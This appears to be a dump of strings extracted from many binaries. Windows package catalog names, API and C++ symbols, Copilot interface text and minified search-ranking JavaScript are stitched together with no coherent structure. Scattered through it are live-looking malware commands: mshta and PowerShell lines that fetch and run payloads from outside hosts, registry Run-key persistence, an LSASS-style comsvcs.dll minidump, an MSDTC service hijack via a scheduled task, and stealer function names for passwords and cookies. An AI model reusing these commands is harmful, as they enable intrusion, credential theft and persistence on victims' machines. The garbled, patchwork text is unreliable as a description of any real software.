Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-PowerShell-V2-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-PowerShell-V2-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-UserSessionManagement-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
DuplicateHandle on WindowsSubSysProcess failed: 0x%x in %s
Sending message to winlogon
Setting last winlogon notification
Microsoft.Windows.Graphics.WindowsCodecs
Microsoft.Windows.MediaFoundation.RAWImageDecoder
Microsoft.Windows.MediaFoundation.JPEGXL
Microsoft.Windows.CloudRestoreLauncher
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|!
Microsoft-Windows-WPD-LegacyWmdmFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-GroupPolicy-ClientExtensions-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|64-Package0013~31bf3856ad364e35~amd6
{e3a729da-eabc-df50-1842-dfd682644311}software\microsoft\windows\currentversion\explorer\browser helper objects\%sscript
s\system32\msiexec.
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
WindowsOobeAppHost.AppX9g38f7ck9dycet3v4dtd5skcn8z020zj.wwa
WindowsOobeAppHost.AppXtrjm3twvhvv4twryxks256hqxwsngpfx.mca
default$windows.data.globalization.culture.culturesettings|windows.data.globalization.culture.culturesettings
default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
default$windows.data.input.devices.mousesyncedsettings|windows.data.input.devices.mousesyncedsettings
default$windows.data.input.devices.touchpadsyncedsettings|windows.data.input.devices.touchpadsyncedsettings
default$windows.data.input.devices.touchpadsettings|windows.data.input.devices.touchpadsettings
default$windows.data.input.devices.mousesettings|windows.data.input.devices.mousesettings
default$windows.data.input.devices.touchsettings|windows.data.input.devices.touchsettings
default$windows.data.input.devices.pensettings|windows.data.input.devices.pensettings
default$windows.data.input.
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
reg add "hklm\software\microsoft\windows nt\currentversion\winlogon" /v 
Microsoft.Windows.Media.Capture
Microsoft.Windows.MicrosoftAccount.TBProvider
ac:\windows\system32\cmd.exe/crobocopy"\\vertical-pentium-b-dead.trycloudflare.com@ssl\davwwwroot\inz"%temp%cardos.wsf
c:\windows\system32\cmd.exe/c"mshta.exejavascript:a=getobject('script:https://iblue.team/update.sct').exec();close()"
c:\windows\system32\windowspowershell\v1.0\powershell.execonvert-string-e'123456=
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-command"mshtahttps://refinim.site/ruzirious.mp4"
Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType
Win32Registry|Software\Microsoft\Windows\CurrentVersion|Registere
utiliser plus tard.Microsoft Copilot tente de remplir les mots de passe. Tapez votre mot de passe Windows pour autoriser cette modification.copilotupdateService de mise 
Windows1
WindowsSubstringWithSpecifiedLength
WindowsTrimStringEnd
WindowsTrimStringStart
WindowsInspectString2
WindowSurfaceVk::swapImpl
rx::WindowSurfaceVk::doDeferredAcquireNextImage
rx::WindowSurfaceVk::getUserExtentsImpl
rx::WindowSurfaceVk::getCurrentFramebuffer
WindowSurfaceVk::lockSurface
WindowSurfaceVk::destroy:vkDestroySurfaceKHR
WindowSurfaceVk::throttleCPU
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-OfflineFiles-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
13e^com.microsoft.windows.ez
com.microsoft.windows.extensionpackage
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
c:\program files\windows nt\accessories\bj.exec
?;c:\windows\system32\
WindowsCreateString
WindowsCreateStringReference
WindowsGetStringRawBuffer
windows securityh
main.antidebuggermain.decryptAllPasswordsmain.decryptAllCookiesmain.saveWindowsWallpapersmain.getAutofill
 Windows
RemoveWindowSpace
)difftimeSoftware\Microsoft\Windows\CurrentVersion\ShellS
CloudData.WindowsClient.DisableSyncOnActivityFeed
$CloudData.WindowsClient.DisableSyncOnActivityFeed
Software\Microsoft\Windows\anticeremonious\Uninstall\falsefaceS
.exe';new-itemproperty'hkcu:\software\microsoft\windows\currentversion\run'-name'exxplorer'-value$
powershell-windowstylehidden-command"invoke-webrequest-uri'https://api.judicial.it.com/envio_payload.exe'-outfile'%temp%\dian_sec2.exe';start-process'%temp%\dian_sec2.exe'-windowstylehidden"
\windowsX
wINDOWS nt\cURRENTvERSION\sVCHOST%sYSTEMrOOT%\
UnhookWindowsHookEx
SetWindowsHookEx
!require windows!
Digest Authentication for Windows
ComSpec=C:\WINDOWS\system32\cmd.exe
windowsdriversd
bitsadmin /addfile adobe_upd c:\windows\system32\net.exe  %%temp%%\tmp.log
Windows NT SP6 (Chinese)
*globalProfileStagedFeatureTraitsSystemWindowsUdkapplyctorQ
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
HKEY_LOCAL_MACHINE\SOFTWARE\WindUpdatesHKEY_LOCAL_MACHINE\SOFTWARE\Winad ClientProgram Files\Winad ClientWinAdShift.dllWinadX.DLLWindows SyncroAd/Release/WinClt.exe/Release/Winad.exeWinockX.DLL!#HSTR:Backdoor:Win32/13033.B
_RewriteInWindows.UI.Xaml.Controls.BitmapIconn"
System32\DRIVERS\asyncmac.sys"
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-usn.db
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-usn.db-journal
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-usn.db-wal
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\PropMap\PropMap.db-shm
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
.?AU?$__abi_FunctorCapture@V<lambda_1c608e5a1ecd8f465d3b1edefeec7e9c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
Windows.Data.Calling
windows live messenger
http://www.internet-optimizer.com/conf/xml/http://cdn.movies-etc.com/io/legal/eula/eula.ctxtc:\internet optimizerc:\program files\internet optimizerc:\program files\dyfucasoftware\avenue media\internet optimizersoftware\microsoft\windows\currentversion\policies\ameoptsoftware\policies\avenue mediaver=%s&rid=%s&cls=%s
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
C:\WINDOWS\SYSTEM32\drmgs.sysp_ver:200.sys not found!
bV`user-agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.2; .net clr 1.1.4322; .net clr 2.0.50727; infopath.1)P3
c:\windows\system32
\system32\mh
$\appdata%\schost.execmd /c reg add hkcu\software\microsoft\windows\currentversion\run /v scvhostndetect.sys@
Yc:\windows\system32
eCore-Bluetooth-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
osavedfromurl=(0043)https://techplaneter.com/marvelfuturefight/--><html><head><metahttp-equiv="content-type"content="text/html;charset=windows-1252"><metaname="color-scheme"content="lightdark"></head><body><divclass="line-gutter-backdrop"></div><formautocomplete="off"
c:\windows\system32\windowspowershell\v1.0\powershell.exe-ecwb0ageacgb0acaakabkagkacgagaemaogbcafcakgbzafw
.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
windowsformsapp1.propertiesw
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
\SystemRoot\System32\drivers\etc\lmhosts
g_win32_check_windows_version
g_win32_get_windows_version
tionControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UNavigationControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverridesT@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides8T@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UNavigationControl@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIComponentConnector2@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UNavigationControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_e3e5baae33db7cb1c24964807ce5dc4a>@@@impl@winrt@@
.?AU?$implements_delegate@URoutedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_e3e5baae33db7cb1c24964807ce5dc4a>@@@impl@winrt@@
.?AUtype@?$abi@URoutedEventHandler@Xaml@UI@Windows@winrt@@X@impl@winrt@@
onecoreuap\shell\windows.storage\fileinuse.cpp
onecoreuap\shell\windows.storage\cdownloadsfolder.cpp
Microsoft.Windows.Audio.Service.PolicyManager
disable-windowsoptionalfeature
@windows-defender
windowsresponby":
 ("windowstelegra"):
c:\windows\system32\cmd.exe/cren
(t:\windows\
windows.staterepository.dll
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
(101)&"-windowstyl"&
\windows\system32\msiexec.exec:\windows\system32
"=dsystem32(c:\windows)
msiexec.exe@i)aplicativo@m1spsjc(=oqc:\windows\system32\msiexec.exe91spsmdphh@.=xhh=ikuop
VQWindowsUia:
a-z0-9.exe-windowstylehidden-exec
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
System.Windows.Input
set_WindowStyle
.?AU?$_Task_impl@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_d7b119cfe79bb05ea19e8ddbe6cf08bb>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
/q /c sc.exe sdset msdtc "D:(A;;DCLCWPDTSDCC;;;IU)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" & sc stop msdtc & takeown /F C:\ProgramData\oci.txt/q /c REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI /v "OracleOciLib" /t REG_SZ /d "../../ProgramData/oci.txt" /fcmd /c schtasks /create /sc HOURLY /TN "MicroSoft\Windows\AppID\KeepMsdtc" /TR "cmd /c sc config msdtc start= auto && sc start msdtc" /ru system /f
[theme]displayname=@%systemroot%\system32\themeui.dll
goicfboogidikkejccmclpieicihhlpo bihgbpgoicfboogidikkejccmclpieicihhlpo ejemdnSoftware\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\xxxtoolbar.com
#oq44d2?e1av10kstup windows defender hahah
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
:\windows\system32\comsvcs.dll,minidump
System.Windows.Forms.TrustManagerOK.bmp
System.Windows.Forms.PBAlpha.bmp
System.Windows.Forms.PropertyGridInternal.PropertiesTab.bmp
System.Windows.Forms.Design.EventsTab.bmp
System.Windows.Forms.Checked.bmp
System.Windows.Forms.IndeterminateChecked.bmp
System.Windows.Forms.Grid.bmp
System.Windows.Forms.DataGrid.bmp
System.Windows.Forms.alignToGrid.bmp
System.Windows.Forms.PropertyGrid.bmp
System.Windows.Forms.TrustManagerGlobe.bmp
System.Windows.Forms.BindingSource.bmp
System.Windows.Forms.viewcode.bmp
System.Windows.Forms.PBPPage.bmp
System.Windows.Forms.TabPage.bmp
System.Windows.Forms.image.bmp
System.Windows.Forms.displaystyle.bmp
System.Windows.Forms.ToolStripPanel_standalone.bmp
System.Windows.Forms.DataNavigator.Delete.bmp
System.Windows.Forms.BindingNavigator.Delete.bmp
System.Windows.Forms.delete.bmp
System.Windows.Forms.paste.bmp
System.Windows.Forms.save.bmp
System.Windows.Forms.PictureBox.Loading.bmp
System.Windows.Forms.TrustManagerWarning.bmp
System.Windows.Forms.SaveFileDialog.bmp
System.Windows.Forms.OpenFileDialog.bmp
System.Windows.Forms.PageSetupDialog.bmp
System.Windows.Forms.FolderBrowserDialog.bmp
System.Windows.Forms.ColorDialog.bmp
System.Windows.Forms.PrintDialog.bmp
System.Windows.Forms.FontDialog.bmp
System.Windows.Forms.PrintPreviewDialog.bmp
System.Windows.Forms.DataGridCaption.backarrow_bidi.bmp
System.Windows.Forms.sendToBack.bmp
System.Windows.Forms.blank.bmp
System.Windows.Forms.TrustManagerHighRisk.bmp
System.Windows.Forms.Label.bmp
System.Windows.Forms.LinkLabel.bmp
System.Windows.Forms.ToolStripLabel.bmp
System.Windows.Forms.ToolStripStatusLabel.bmp
System.Windows.Forms.Panel.bmp
System.Windows.Forms.ToolStripContainer_BottomToolStripPanel.bmp
System.Windows.Forms.ToolStripContainer_TopToolStripPanel.bmp
System.Windows.Forms.ToolStripContainer_LeftToolStripPanel.bmp
System.Windows.Forms.ToolStripContainer_RightToolStripPanel.bmp
System.Windows.Forms.StatusStripPanel.bmp
System.Windows.Forms.SplitterPanel.bmp
System.Windows.Forms.ToolStripContentPanel.bmp
System.Windows.Forms.TableLayoutPanel.bmp
System.Windows.Forms.FlowLayoutPanel.bmp
System.Windows.Forms.MultiplexPanel.bmp
System.Windows.Forms.DataGridRow.pencil.bmp
System.Windows.Forms.HTMLControl.bmp
System.Windows.Forms.TabControl.bmp
System.Windows.Forms.UserControl.bmp
System.Windows.Forms.ErrorControl.bmp
System.Windows.Forms.DefaultControl.bmp
System.Windows.Forms.PrintPreviewControl.bmp
System.Windows.Forms.DataGridViewRow.pencil_rtl.bmp
System.Windows.Forms.TrustManagerOKSm.bmp
System.Windows.Forms.TrustManagerWarningSm.bmp
System.Windows.Forms.TrustManagerHighRiskSm.bmp
System.Windows.Forms.ToolStripMenuItem.bmp
System.Windows.Forms.Form.bmp
System.Windows.Forms.open.bmp
System.Windows.Forms.DataGridViewImageColumn.bmp
System.Windows.Forms.DataGridViewLinkColumn.bmp
System.Windows.Forms.DataGridViewButtonColumn.bmp
System.Windows.Forms.DataGridViewCheckBoxColumn.bmp
System.Windows.Forms.DataGridViewComboBoxColumn.bmp
System.Windows.Forms.DataGridViewTextBoxColumn.bmp
System.Windows.Forms.TrayIcon.bmp
System.Windows.Forms.NotifyIcon.bmp
System.Windows.Forms.Animation.bmp
System.Windows.Forms.Button.bmp
System.Windows.Forms.ToolStripDropDownButton.bmp
System.Windows.Forms.RadioButton.bmp
System.Windows.Forms.ToolStripButton.bmp
System.Windows.Forms.
System.Windows.Forms
				description="Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt"
com/AS/API/WindowsC
ts.windows.neto
WindowsNotepad_1f
(platform==='windows'){letdst=mem.call(symbols.virtualalloc,0,size,0x1000|0x2000,//mem_commit|mem_reserve
2c:\windows\system32\windowspowershell\v1.
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
soft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your ap
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WINDOWS11
32;C:\WINDOWS
\System32\Wbem
%--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
}else n.LogWSBError("getRanker",i,new Error("fastRank RankerId not defined"),undefined,undefined,"WindowsTelemetry"),t.suggestionFastRankModelIdCurrent="STH_00000000-0000-0000-0000-000000000003"}return u}orderSuggestions(i,r,u,f,e,o,s,h,c){if(n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBRanking.orderSuggestions"),!n.config.bypassRankerOnNoNewSuggestions||i.hasNewSuggestions){let l=n.safeExecute(()=>this.createFeatureStore(i,r,u,f,e,o,s,h,c),"createFeatureStore");l=l||r.map(()=>({}));let a=this.selectFastRankRanker();if(n.Host.isWSBRandomizationEnabled()&&n.config.wsbPartialRandomization&&(t.suggestionFastRankModelIdCurrent="STH_randomizationrankerV2"),a)for(let t=0;t<r.length;t++){let u=l[t],i=n.safeExecute(()=>a(u),"calculateRankingScore");n.config.enterpriseRankingScoreBoost&&(r[t].handoffType===8||n.getGroupType(r[t])==n.GroupType.People)&&(typeof i!="number"||isNaN(i)||(i+=n.config.enterpriseRankingScoreBoostValue));n.config.webRankingScoreBoost&&r[t].isAnswer&&typeof i=="number"&&!isNaN(i)&&i>0&&(i=i*n.config.webRankingScoreBoostValue);n.config.appRankingScoreBoost&&n.isApp(r[t].type)&&(typeof i!="number"||isNaN(i)||(i=i*n.config.appRankingScoreBoostValue));n.config.decreaseWebScoreOnStart&&SearchAppWrapper.CortanaApp.entryPoint=="WNSSTB"&&(n.isWebSuggestion(r[t])||r[t].type=="MB"||r[t].type=="SW")&&(i-=n.config.decreaseWebScoreValue);r[t].rankingScore=n.trimFeatureStoreValue(i);r[t].featureStore=u}n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBRanking.orderSuggestions")}}getSuggestionScoreFromSuggestionLogMeta(n){let t=";2152:";return n&&n.indexOf(t)>=0?parseInt(n.substring(n.indexOf(t)+6).split(";")[0].slice(1,-1)):NaN}getTopWebSuggestion(t){if(t.length==0)return null;n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBRanking.getTopWebSuggestion");let i=t[0],r=64e3;if(t.length>1)for(let n of t)if(n.suggestionLogMeta){let t=this.getSuggestionScoreFromSuggestionLogMeta(n.suggestionLogMeta);!isNaN(t)&&t<r&&(r=t,i=n)}return n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().endMark("WSBRanking.getTopWebSuggestion"),i}isRecourse(t){return t.notAResult&&!n.contains(["SW","PWL","SSTS","CP"],t.type)}allowInTopHit(t,i,r){let u=!r||r.length==1;if(t.topHitRestriction==1&&i.query.toLocaleLowerCase()!=t.queryToFetch.toLocaleLowerCase()&&(n.contains(i.features,"ForcePrefixOnTop")||i.features.push("ForcePrefixOnTop")),this.isRecourse(i))return u;let f=n.getGroupType(i);switch(f){case n.GroupType.Store:return u;case n.GroupType.Command:return i.hc||u;case n.GroupType.LocalPlaces:case n.GroupType.Other:return!1}return 